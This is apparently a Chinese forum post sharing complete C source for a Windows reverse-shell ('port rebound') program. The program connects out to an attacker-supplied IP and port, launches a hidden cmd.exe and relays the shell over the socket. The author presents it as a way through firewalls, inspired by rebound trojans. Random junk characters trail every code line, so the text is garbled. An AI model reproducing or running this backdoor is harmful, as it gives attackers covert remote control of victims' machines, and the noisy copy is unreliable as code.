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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o(NyOC  
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/* ============================== $uB(@Ft.  
Rebound port in Windows NT  CyDf[C)=  
By wind,2006/7 lfeWtzOf  
===============================*/ [E1|jcmQ  
#include o"M^ sKz47  
#include U (7P X`1  
2Lgvy/uN  
#pragma comment(lib,"wsock32.lib") n<&R"89  
&+^ Y>Ke  
void OutputShell(); (w B[ ]O$@  
SOCKET sClient; ^uEl QI  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; lG#&1  
=e{KtX.  
void main(int argc,char **argv) &'\+Z  
{ gt(nZ  
WSADATA stWsaData; gF5EtdN?|  
int nRet; V46[whL%r  
SOCKADDR_IN stSaiClient,stSaiServer; &7u Ra1/R  
EZRZ)h  
if(argc != 3) "FvlZRfXj  
{ BF|FW  
printf("Useage:\n\rRebound DestIP DestPort\n");   NX_S  
return; >*xzSd? \  
} ;FflEL<7Y  
e-=PT 1T`  
WSAStartup(MAKEWORD(2,2),&stWsaData); 4!%LD(jB`B  
Y!$ z7K  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G{=$/&St  
6dp_R2zH~o  
stSaiClient.sin_family = AF_INET; wh+ibH}@!  
stSaiClient.sin_port = htons(0); gdNp2b  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7/!C  
K): sq{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A|Gqjy^;@  
{ ^:ngHue8~  
printf("Bind Socket Failed!\n"); &\[J  
return; .]c:Zt}P  
} Utp\}0GZY  
)/N! {`.9  
stSaiServer.sin_family = AF_INET; Mg/2 w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bA,D]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C,u.!g;lm  
C YKGf1;If  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #eyx  
{ *OcptmY<  
printf("Connect Error!"); (5;xs  
return; .e#j#tQp  
} W78-'c  
OutputShell(); !,uw./8@Ku  
} `Db}q^mQ  
M4\Io]}-M  
void OutputShell() dL)5~V8s  
{ qrh7\`,.m/  
char szBuff[1024]; =K8h)B_g  
SECURITY_ATTRIBUTES stSecurityAttributes; OAOmd 4  
OSVERSIONINFO stOsversionInfo; 2GS2,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0M-AIQ5  
STARTUPINFO stStartupInfo; [~S0b  
char *szShell; t]%R4ymV  
PROCESS_INFORMATION stProcessInformation; HX*U2<^  
unsigned long lBytesRead; E#p6A5  
o!S_j^p[C  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _nq n|  
%*=FLtBjo  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G[,VPC=  
stSecurityAttributes.lpSecurityDescriptor = 0; C( ;7*]  
stSecurityAttributes.bInheritHandle = TRUE; b6BIDuRb  
YO+d+5  
42LV>X#i  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6d8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SUhP e+  
tjt#VFq?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m#'9)%t!J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A79SAheX#  
stStartupInfo.wShowWindow = SW_HIDE; -E"o)1Pj6C  
stStartupInfo.hStdInput = hReadPipe; c[q3O**  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WLH2B1_):  
R8*4E0\br  
GetVersionEx(&stOsversionInfo); XW:(FzF  
5w3'yA<vE  
switch(stOsversionInfo.dwPlatformId) W>Kn *Dy8~  
{ (qdk &  
case 1: VZR6oia  
szShell = "command.com"; "H@AT$Ny(  
break; 4R6 .GO  
default: 2c]O Mtk  
szShell = "cmd.exe"; j)Gr@F>  
break; ccAEN  
} )\^OI:E  
7lu;lAAP  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gO36tc:ce  
7\lc aC@  
send(sClient,szMsg,77,0); u e~1144  
while(1) [MG:Ym).2`  
{  >TgO|mq  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P) #rvTDRw  
if(lBytesRead) F!8425oAw  
{ F{H y@7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d[de5Xra  
send(sClient,szBuff,lBytesRead,0);  .~']gih#  
} 2e &Zs%u  
else mi?Fy0\  
{ GEgf_C!%@  
lBytesRead=recv(sClient,szBuff,1024,0); yMxS'j1  
if(lBytesRead<=0) break; i8F~$6C  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?jnEHn  
} x g@;d  
} .w&Z=YM  
6 ?cV1:jh  
return; ^m\n[<x^  
}
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